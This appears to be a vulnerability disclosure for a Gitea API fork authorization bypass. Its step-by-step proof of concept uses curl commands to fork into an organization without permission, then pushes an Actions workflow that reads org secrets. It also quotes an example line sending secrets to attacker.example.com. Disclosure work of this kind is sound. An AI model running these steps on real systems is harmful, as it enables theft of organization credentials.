CVE-2026-22555

The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member, in a team with can_create_org_repo=false, to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.

Steps To Reproduce

1. Environment setup

Start a Gitea instance with Actions enabled:

# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  gitea:
    image: gitea/gitea:1.23
    container_name: gitea-poc
    ports:
      - "3000:3000"
    volumes:
      - gitea-data:/data
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__server__ROOT_URL=http://localhost:3000/
      - GITEA__security__INSTALL_LOCK=true
      - GITEA__actions__ENABLED=true
volumes:
  gitea-data:
EOF

docker compose up -d
# Wait for startup
sleep 15

# Create admin user
docker exec -u git gitea-poc gitea admin user create \
  --admin --username admin --password 'Admin1234!' \
  --email [email protected] --must-change-password=false

2. Create the target environment (as admin)

# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
  -u "admin:Admin1234!" -H "Content-Type: application/json" \
  -d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attacker123!","email":"[email protected]","must_change_password":false}'

# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"target-org","visibility":"public"}'

# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"source-repo","auto_init":true}'

# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
  -H "Authorization: token $ADMIN_TOKEN"

# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
  -H "Authorization: token $ADMIN_TOKEN"

# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"AKIAIOSFODNN7EXAMPLE"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'

3. Register an Actions runner

# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)

# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
  -e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  gitea/act_runner:latest

# Wait for runner registration
sleep 15

4. Verify attacker CANNOT create repos in the org (expected: 403)

# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
  -u "attacker:Attacker123!" -H "Content-Type: application/json" \
  -d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Try creating a repo directly, should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
  -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403

# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
  "http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
  -H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403

5. Exploit: Fork into the org via API (THE BYPASS)

# Fork the source repo into the org, this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"organization":"target-org","name":"evil-fork"}')

echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
#   Fork created: target-org/evil-fork
#   Permissions: admin=True, push=True

The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.

6. Enable Actions and push exfiltration workflow

# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"has_actions":true}'

# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: Leak org secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
          echo "=== SECRET EXFILTRATION ==="
          echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
          echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
          echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
          echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
          echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
          echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
          echo "=== END EXFILTRATION ==="
WFEOF
)

curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"

7. Verify secret exfiltration

# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90

# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"

Expected output in the workflow logs:

=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===

All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).

Supporting Material/References

• poc-fork-authz-bypass.zip, ZIP archive containing the full exploit script and README
  • Vulnerable code, API fork handler (missing CanCreateOrgRepo check):
    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144
  • Correct code, Web fork handler (has CanCreateOrgRepo check):
    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189
  • Runner task assignment (matches on owner_id):
    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248
  • Secret injection (fetches by Repo.OwnerID):
    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167
  • Fork creator gets admin permissions:
    https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
  • Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
  • OWASP API Security Top 10 2023: API5, Broken Function Level Authorization
  • OWASP Top 10 2021: A01, Broken Access Control

poc-fork-authz-bypass.zip